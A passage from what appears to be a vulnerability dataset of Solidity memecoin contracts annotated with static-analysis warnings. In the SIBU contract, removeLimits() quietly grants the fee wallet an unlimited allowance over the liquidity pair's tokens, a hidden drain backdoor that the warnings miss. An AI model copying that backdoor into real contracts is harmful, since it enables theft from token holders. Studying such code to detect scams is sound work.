errorMessage);\n\n uint256 result = a / b;\n\n return result;\n }\n}\n\ninterface ILiquidityPoolFactory {\n function createTokenPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface ILiquidityRouter {\n function executeTokenSwap(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address recipient,\n uint deadline\n ) external;\n\n function poolFactory() external pure returns (address);\n\n function addLiquidityWithETH(\n address token,\n uint desiredTokenAmount,\n uint minTokenAmount,\n uint minETHAmount,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint addedTokenAmount, uint addedETHAmount, uint liquidity);\n\n function wrappedETH() external pure returns (address);\n}\n\ncontract STARBASE is ContractContext, IToken, Administrator {\n using Arithmetic for uint256;\n\n mapping(address => uint256) private _accountBalances;\n\n mapping(address => mapping(address => uint256)) private _permittedSpenders;\n\n mapping(address => bool) private _limitExemptions;\n\n mapping(address => bool) private _flaggedAccounts;\n\n uint8 private constant _precision = 18;\n\n uint256 private constant _totalSupply = 740000000000 * 10 ** _precision;\n\n string private constant _tokenName = unicode\"STARBASE\";\n\n string private constant _tokenSymbol = unicode\"STARBASE\";\n\n bytes32 public constant contractUniqueHash =\n keccak256(\"STARBASE_TOKEN_v4.2\");\n\n ILiquidityRouter private constant _liquidityRouter =\n ILiquidityRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public liquidityPool;\n\n bool private tradingAllowed;\n\n bool private inTransaction = false;\n\n bool private swapFeatureEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4dc5a35): STARBASE.enforceLimits should be constant \n\t// Recommendation for 4dc5a35: Add the 'constant' attribute to state variables that never change.\n bool private enforceLimits = false;\n\n event FlaggedAccount(address indexed flaggedAddress);\n\n modifier preventReentrancy() {\n inTransaction = true;\n\n _;\n\n inTransaction = false;\n }\n\n constructor() {\n _accountBalances[_senderAddress()] = _totalSupply;\n\n emit Movement(address(0), _senderAddress(), _totalSupply);\n\n _limitExemptions[_senderAddress()] = true;\n }\n\n function tokenName() public pure returns (string memory) {\n return _tokenName;\n }\n\n function tokenSymbol() public pure returns (string memory) {\n return _tokenSymbol;\n }\n\n function tokenPrecision() public pure returns (uint8) {\n return _precision;\n }\n\n function supply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOfAccount(\n address account\n ) public view override returns (uint256) {\n return _accountBalances[account];\n }\n\n function sendTo(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _moveTokens(_senderAddress(), recipient, amount);\n\n return true;\n }\n\n function permit(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _permittedSpenders[owner][spender];\n }\n\n function authorize(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approveSpender(_senderAddress(), spender, amount);\n\n return true;\n }\n\n function sendFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _moveTokens(sender, recipient, amount);\n\n _approveSpender(\n sender,\n _senderAddress(),\n _permittedSpenders[sender][_senderAddress()].subtract(\n amount,\n \"Token: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approveSpender(\n address owner,\n address spender,\n uint256 amount\n ) private {\n require(owner != address(0), \"Token: approve from zero address\");\n\n require(spender != address(0), \"Token: approve to zero address\");\n\n _permittedSpenders[owner][spender] = amount;\n\n emit Authorization(owner, spender, amount);\n }\n\n function _moveTokens(address from, address to, uint256 amount) private {\n require(from != address(0), \"Token: transfer from zero address\");\n\n require(to != address(0), \"Token: transfer to zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (_flaggedAccounts[from]) {\n emit FlaggedAccount(from);\n }\n\n _accountBalances[from] = _accountBalances[from].subtract(amount);\n\n _accountBalances[to] = _accountBalances[to].add(amount);\n\n emit Movement(from, to, amount);\n }\n\n function isFlagged(address account) public view returns (bool) {\n return _flaggedAccounts[account];\n }\n\n function setFlaggedStatus(address account, bool status) external onlyAdmin {\n _flaggedAccounts[account] = status;\n\n if (status) {\n emit FlaggedAccount(account);\n }\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dd6c195): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dd6c195: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 214c923): STARBASE.enableTrading() ignores return value by _liquidityRouter.addLiquidityWithETH{value address(this).balance}(address(this),balanceOfAccount(address(this)),0,0,admin(),block.timestamp)\n\t// Recommendation for 214c923: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6078d0a): STARBASE.enableTrading() ignores return value by IToken(liquidityPool).authorize(address(_liquidityRouter),type()(uint256).max)\n\t// Recommendation for 6078d0a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2b85daa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2b85daa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyAdmin {\n require(!tradingAllowed, \"Trading is already enabled\");\n\n _approveSpender(address(this), address(_liquidityRouter), _totalSupply);\n\n swapFeatureEnabled = true;\n\n\t\t// reentrancy-events | ID: dd6c195\n\t\t// reentrancy-eth | ID: 2b85daa\n liquidityPool = ILiquidityPoolFactory(_liquidityRouter.poolFactory())\n .createTokenPair(address(this), _liquidityRouter.wrappedETH());\n\n\t\t// reentrancy-events | ID: dd6c195\n\t\t// unused-return | ID: 214c923\n\t\t// reentrancy-eth | ID: 2b85daa\n _liquidityRouter.addLiquidityWithETH{value: address(this).balance}(\n address(this),\n balanceOfAccount(address(this)),\n 0,\n 0,\n admin(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: dd6c195\n\t\t// unused-return | ID: 6078d0a\n\t\t// reentrancy-eth | ID: 2b85daa\n IToken(liquidityPool).authorize(\n address(_liquidityRouter),\n type(uint).max\n );\n\n\t\t// reentrancy-eth | ID: 2b85daa\n tradingAllowed = true;\n\n\t\t// reentrancy-events | ID: dd6c195\n\t\t// reentrancy-eth | ID: 2b85daa\n giveUpAdministration();\n }\n}\n",
"file_name": "solidity_code_10600.sol",
"size_bytes": 11043,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3a9b81c): SIBU.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal85 / 100)\n// Recommendation for 3a9b81c: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 96e912b): SIBU.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal85 / 100)\n// Recommendation for 96e912b: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 20ca948): SIBU.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal85 / 100)\n// Recommendation for 20ca948: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 487f98a): SIBU.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal85 / 100)\n// Recommendation for 487f98a: Consider ordering multiplication before division.\ncontract SIBU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint256 private constant _tTotal85 = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sibu Junior\";\n\n string private constant _symbol = unicode\"SIBU\";\n\n\t// divide-before-multiply | ID: 487f98a\n uint256 public _maxTxAmount = 2 * (_tTotal85 / 100);\n\n\t// divide-before-multiply | ID: 20ca948\n uint256 public _maxWalletSize = 2 * (_tTotal85 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 9385fb0): SIBU._taxSwapThreshold should be constant \n\t// Recommendation for 9385fb0: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 3a9b81c\n uint256 public _taxSwapThreshold = 1 * (_tTotal85 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a1a791): SIBU._maxTaxSwap should be constant \n\t// Recommendation for 1a1a791: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 96e912b\n uint256 public _maxTaxSwap = 1 * (_tTotal85 / 100);\n\n mapping(address => uint256) private _balances85;\n\n mapping(address => mapping(address => uint256)) private _allows85;\n\n mapping(address => bool) private _isExcludedFrom85;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b12028): SIBU._receipt85 should be constant \n\t// Recommendation for 3b12028: Add the 'constant' attribute to state variables that never change.\n address payable private _receipt85 =\n payable(0x622B8dEBEf871BD6814A2A50C34D8a2C8a2E6186);\n\n uint8 private constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e9b124): SIBU._initialBuyTax should be constant \n\t// Recommendation for 4e9b124: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 303c2a5): SIBU._initialSellTax should be constant \n\t// Recommendation for 303c2a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: e24ffdf): SIBU._finalBuyTax should be constant \n\t// Recommendation for e24ffdf: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0fd623): SIBU._finalSellTax should be constant \n\t// Recommendation for f0fd623: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d6bf00): SIBU._reduceBuyTaxAt should be constant \n\t// Recommendation for 6d6bf00: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83201c4): SIBU._reduceSellTaxAt should be constant \n\t// Recommendation for 83201c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 883575e): SIBU._preventSwapBefore should be constant \n\t// Recommendation for 883575e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ae5849): SIBU._transferTax should be constant \n\t// Recommendation for 9ae5849: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniV2Router85;\n\n address private uniV2Pair85;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _balances85[address(this)] = _tTotal85;\n\n _isExcludedFrom85[owner()] = true;\n\n _isExcludedFrom85[address(this)] = true;\n\n _isExcludedFrom85[_receipt85] = true;\n\n emit Transfer(address(0), address(this), _tTotal85);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal85;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances85[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1a83cb): SIBU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e1a83cb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allows85[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 77e9f84): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 77e9f84: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 06d9833): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 06d9833: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 77e9f84\n\t\t// reentrancy-benign | ID: 06d9833\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 77e9f84\n\t\t// reentrancy-benign | ID: 06d9833\n _approve(\n sender,\n _msgSender(),\n _allows85[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0e3dda6): SIBU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0e3dda6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 06d9833\n _allows85[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 77e9f84\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2504a16): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2504a16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7be0620): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7be0620: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxes = 0;\n uint256 taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances85[from] = _balances85[from] - amount;\n\n _balances85[to] = _balances85[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n taxes = (_transferTax);\n }\n\n if (\n from == uniV2Pair85 &&\n to != address(uniV2Router85) &&\n !_isExcludedFrom85[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxes = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniV2Pair85 && from != address(this)) {\n taxes = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniV2Pair85 && swapEnabled) {\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 2504a16\n\t\t\t\t\t// reentrancy-eth | ID: 7be0620\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 2504a16\n\t\t\t\t// reentrancy-eth | ID: 7be0620\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxes > 0) {\n taxAmount = taxes.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: 7be0620\n _balances85[address(this)] = _balances85[address(this)].add(\n taxAmount\n );\n\n\t\t\t// reentrancy-events | ID: 2504a16\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7be0620\n _balances85[from] = _balances85[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7be0620\n _balances85[to] = _balances85[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2504a16\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function removeLimits(address[2] memory erc85) private {\n _allows85[erc85[0]][erc85[1]] = 100 + 100 * _tTotal85 + 100;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router85.WETH();\n\n _approve(address(this), address(uniV2Router85), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2504a16\n\t\t// reentrancy-events | ID: 77e9f84\n\t\t// reentrancy-benign | ID: 06d9833\n\t\t// reentrancy-eth | ID: 7be0620\n uniV2Router85.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2504a16\n\t\t// reentrancy-events | ID: 77e9f84\n\t\t// reentrancy-eth | ID: 7be0620\n _receipt85.transfer(amount);\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal85;\n _maxWalletSize = _tTotal85;\n\n address[2] memory addrs85 = [uniV2Pair85, _receipt85];\n\n removeLimits(addrs85);\n emit MaxTxAmountUpdated(_tTotal85);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 89c003b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 89c003b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4f4cc0e): SIBU.openTrading() ignores return value by IERC20(uniV2Pair85).approve(address(uniV2Router85),type()(uint256).max)\n\t// Recommendation for 4f4cc0e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d374cbd): SIBU.openTrading() ignores return value by uniV2Router85.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d374cbd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9da643b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9da643b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniV2Router85 = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router85), _tTotal85);\n\n\t\t// reentrancy-benign | ID: 89c003b\n\t\t// reentrancy-eth | ID: 9da643b\n uniV2Pair85 = IUniswapV2Factory(uniV2Router85.factory()).createPair(\n address(this),\n uniV2Router85.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 89c003b\n\t\t// unused-return | ID: d374cbd\n\t\t// reentrancy-eth | ID: 9da643b\n uniV2Router85.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 89c003b\n\t\t// unused-return | ID: 4f4cc0e\n\t\t// reentrancy-eth | ID: 9da643b\n IERC20(uniV2Pair85).approve(address(uniV2Router85), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 89c003b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9da643b\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10601.sol",
"size_bytes": 20103,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PIGGY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3e1461): PIGGY._router should be constant \n\t// Recommendation for b3e1461: Add the 'constant' attribute to state variables that never change.\n address private _router = 0xFB5337812EBFE6cA3F66f111314D807c5E962583;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4fb0614): PIGGY._initalBuyFee should be constant \n\t// Recommendation for 4fb0614: Add the 'constant' attribute to state variables that never change.\n uint256 private _initalBuyFee = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f93fd5): PIGGY._initalSellFee should be constant \n\t// Recommendation for 5f93fd5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initalSellFee = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 41d36b0): PIGGY._finalBuyFee should be constant \n\t// Recommendation for 41d36b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a5545d): PIGGY._finalSellFee should be constant \n\t// Recommendation for 4a5545d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c1b478): PIGGY._reduceBuyTaxAt should be constant \n\t// Recommendation for 2c1b478: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: accdde0): PIGGY._reduceSellTaxAt should be constant \n\t// Recommendation for accdde0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: aaa0607): PIGGY._preventSwapBefore should be constant \n\t// Recommendation for aaa0607: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _buyCnt = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Piggycoin\";\n\n string private constant _symbol = unicode\"PIGGY\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6cc4985): PIGGY._taxSwapThreshold should be constant \n\t// Recommendation for 6cc4985: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a07237a): PIGGY._maxTaxSwap should be constant \n\t// Recommendation for a07237a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 76e6284): PIGGY.uniswapV2Router should be immutable \n\t// Recommendation for 76e6284: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b80c07): PIGGY.sellCount should be constant \n\t// Recommendation for 2b80c07: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f90f2be): 